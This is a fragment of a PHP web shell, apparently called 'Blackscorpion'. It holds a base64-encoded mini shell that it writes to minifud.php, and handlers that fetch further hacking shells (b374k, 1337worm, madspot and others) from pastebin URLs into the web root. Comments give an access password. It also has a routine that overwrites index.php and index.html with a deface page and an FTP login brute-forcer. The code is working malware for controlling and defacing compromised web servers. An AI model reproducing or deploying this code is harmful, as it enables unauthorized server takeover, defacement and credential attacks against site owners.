GNvbG9yPSJyZWQiPic7DQplY2hvIHBlcm1zKCIkcGF0aC8kZmlsZSIpOw0KaWYoaXNfd3JpdGFibGUoIiRwYXRoLyRmaWxlIikgfHwgIWlzX3JlYWRhYmxlKCIkcGF0aC8kZmlsZSIpKSBlY2hvICc8L2ZvbnQ+JzsNCmVjaG8gIjwvY2VudGVyPjwvdGQ+DQo8dGQ+PGNlbnRlcj48Zm9ybSBtZXRob2Q9XCJQT1NUXCIgYWN0aW9uPVwiP29wdGlvbiZwYXRoPSRwYXRoXCI+DQo8c2VsZWN0IG5hbWU9XCJvcHRcIj4NCjxvcHRpb24gdmFsdWU9XCJcIj48L29wdGlvbj4NCjxvcHRpb24gdmFsdWU9XCJkZWxldGVcIj5EZWxldGU8L29wdGlvbj4NCjxvcHRpb24gdmFsdWU9XCJjaG1vZFwiPkNobW9kPC9vcHRpb24+DQo8b3B0aW9uIHZhbHVlPVwicmVuYW1lXCI+UmVuYW1lPC9vcHRpb24+DQo8b3B0aW9uIHZhbHVlPVwiZWRpdFwiPkVkaXQ8L29wdGlvbj4NCjwvc2VsZWN0Pg0KPGlucHV0IHR5cGU9XCJoaWRkZW5cIiBuYW1lPVwidHlwZVwiIHZhbHVlPVwiZmlsZVwiPg0KPGlucHV0IHR5cGU9XCJoaWRkZW5cIiBuYW1lPVwibmFtZVwiIHZhbHVlPVwiJGZpbGVcIj4NCjxpbnB1dCB0eXBlPVwiaGlkZGVuXCIgbmFtZT1cInBhdGhcIiB2YWx1ZT1cIiRwYXRoLyRmaWxlXCI+DQo8aW5wdXQgdHlwZT1cInN1Ym1pdFwiIHZhbHVlPVwiPlwiIC8+DQo8L2Zvcm0+PC9jZW50ZXI+PC90ZD4NCjwvdHI+IjsNCn0NCmVjaG8gJzwvdGFibGU+DQo8L2Rpdj4nOw0KfQ0KZWNobyAnPGNlbnRlcj48YnIgLz5NaW5pIHNoZWxsIGJ5IDxhIGhyZWY9Imh0dHBzOi8vd3d3LmZhY2Vib29rLmNvbS9Ba0RrMTIzIj48Zm9udCBjb2xvcj0icmVkIiA+QWtEazwvZm9udD48L2E+PC9jZW50ZXI+DQo8L0JPRFk+DQo8L0hUTUw+JzsNCmZ1bmN0aW9uIHBlcm1zKCRmaWxlKXsNCiRwZXJtcyA9IGZpbGVwZXJtcygkZmlsZSk7DQoNCmlmICgoJHBlcm1zICYgMHhDMDAwKSA9PSAweEMwMDApIHsNCi8vIFNvY2tldA0KJGluZm8gPSAncyc7DQp9IGVsc2VpZiAoKCRwZXJtcyAmIDB4QTAwMCkgPT0gMHhBMDAwKSB7DQovLyBTeW1ib2xpYyBMaW5rDQokaW5mbyA9ICdsJzsNCn0gZWxzZWlmICgoJHBlcm1zICYgMHg4MDAwKSA9PSAweDgwMDApIHsNCi8vIFJlZ3VsYXINCiRpbmZvID0gJy0nOw0KfSBlbHNlaWYgKCgkcGVybXMgJiAweDYwMDApID09IDB4NjAwMCkgew0KLy8gQmxvY2sgc3BlY2lhbA0KJGluZm8gPSAnYic7DQp9IGVsc2VpZiAoKCRwZXJtcyAmIDB4NDAwMCkgPT0gMHg0MDAwKSB7DQovLyBEaXJlY3RvcnkNCiRpbmZvID0gJ2QnOw0KfSBlbHNlaWYgKCgkcGVybXMgJiAweDIwMDApID09IDB4MjAwMCkgew0KLy8gQ2hhcmFjdGVyIHNwZWNpYWwNCiRpbmZvID0gJ2MnOw0KfSBlbHNlaWYgKCgkcGVybXMgJiAweDEwMDApID09IDB4MTAwMCkgew0KLy8gRklGTyBwaXBlDQokaW5mbyA9ICdwJzsNCn0gZWxzZSB7DQovLyBVbmtub3duDQokaW5mbyA9ICd1JzsNCn0NCg0KLy8gT3duZXINCiRpbmZvIC49ICgoJHBlcm1zICYgMHgwMTAwKSA/ICdyJyA6ICctJyk7DQokaW5mbyAuPSAoKCRwZXJtcyAmIDB4MDA4MCkgPyAndycgOiAnLScpOw0KJGluZm8gLj0gKCgkcGVybXMgJiAweDAwNDApID8NCigoJHBlcm1zICYgMHgwODAwKSA/ICdzJyA6ICd4JyApIDoNCigoJHBlcm1zICYgMHgwODAwKSA/ICdTJyA6ICctJykpOw0KDQovLyBHcm91cA0KJGluZm8gLj0gKCgkcGVybXMgJiAweDAwMjApID8gJ3InIDogJy0nKTsNCiRpbmZvIC49ICgoJHBlcm1zICYgMHgwMDEwKSA/ICd3JyA6ICctJyk7DQokaW5mbyAuPSAoKCRwZXJtcyAmIDB4MDAwOCkgPw0KKCgkcGVybXMgJiAweDA0MDApID8gJ3MnIDogJ3gnI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
- ";
- $blackscorpionS1 = @fopen("minifud.php", "w");
- @fwrite($blackscorpionS1, base64_decode($minifud));
- @fclose($blackscorpionS1);
- header("Location:minifud.php");
- }
- function download_remote_file($file_url, $save_to)
- {
- $content = file_get_contents($file_url);
- file_put_contents($save_to, $content);
- }
- if (isset($_POST['dhanush'])) {
- download_remote_file('http://pastebin.com/raw/FHs6uGki', realpath("./") . '/dhanush.php');
- header("location:dhanush.php"); }
- if (isset($_POST['anonghosts'])) {
- download_remote_file('http://pastebin.com/raw/Cm3WsQXL', realpath("./") . '/anonghosts.php');
- header("location:anonghosts.php"); }
- if (isset($_POST['blackhat'])) {
- download_remote_file('http://pastebin.com/raw/XFs2pPBM', realpath("./") . '/blackhat.php');
- header("location:blackhat.php"); }
- if (isset($_POST['imageshell'])) {
- download_remote_file('http://pastebin.com/raw/eTbTMB4y', realpath("./") . '/imageshell.php');
- header("location:imageshell.php"); }
- if (isset($_POST['madspot'])) {
- download_remote_file('http://pastebin.com/raw/mjKJRfXA', realpath("./") . '/madspot.php');
- header("location:madspot.php"); }
- if (isset($_POST['pcd'])) { // password is aknight
- download_remote_file('http://pastebin.com/raw/cBiiU6MR', realpath("./") . '/pcd.php');
- header("location:pcd.php"); }
- if (isset($_POST['cheta'])) { // password is aknight
- download_remote_file('http://pastebin.com/raw/H6ah5rnF', realpath("./") . '/cheta.php');
- header("location:cheta.php"); }
- if (isset($_POST['1337worm'])) { // password is aknight
- download_remote_file('http://pastebin.com/raw/7WwNgWHh', realpath("./") . '/1337worm.php');
- header("location:1337worm.php"); }
- if (isset($_POST['joker'])) { // password is aknight
- download_remote_file('http://pastebin.com/raw/eLT2PtZN', realpath("./") . '/joker.php');
- header("location:joker.php"); }
- if (isset($_POST['b374k'])) { // password is aknight
- download_remote_file('http://pastebin.com/raw/UZuF1RKJ', realpath("./") . '/b374k.php');
- header("location:b374k.php"); }
- if (isset($_POST['ghaza'])) {
- download_remote_file('https://pastebin.com/raw/anJYXcW1', realpath("./") . '/ghaza.php');
- header("location:ghaza.php"); }
- if (isset($_POST['defacepage'])) {
- $file = fopen("index.php","w");
- $write = fwrite ($file ,base64_decode($defacepage));
- fclose($file);
- echo 'Done'; }
- if (isset($_POST['defacepage'])) {
- $file = fopen("index.html","w");
- $write = fwrite ($file ,base64_decode($defacepage));
- fclose($file);
- echo 'Done!'; }
- function actionBruteforce() {
- BlackscorpionHeader();
- if( isset($_POST['proto']) ) {
- echo '<h1>Results</h1><div class=content><span>Type:</span> '.htmlspecialchars($_POST['proto']).' <span>Server:</span> '.htmlspecialchars($_POST['server']).'<br>';
- if( $_POST['proto'] == 'ftp' ) {
- function BlackscorpionBruteForce($ip,$port,$login,$pass) {
- $fp = @ftp_connect($ip, $port?$port:21);
- if(!$fp) return false;
- $res = @ftp_login($fp, $login, $pass);
- @ftp_close($fp);
- return $res;
- }
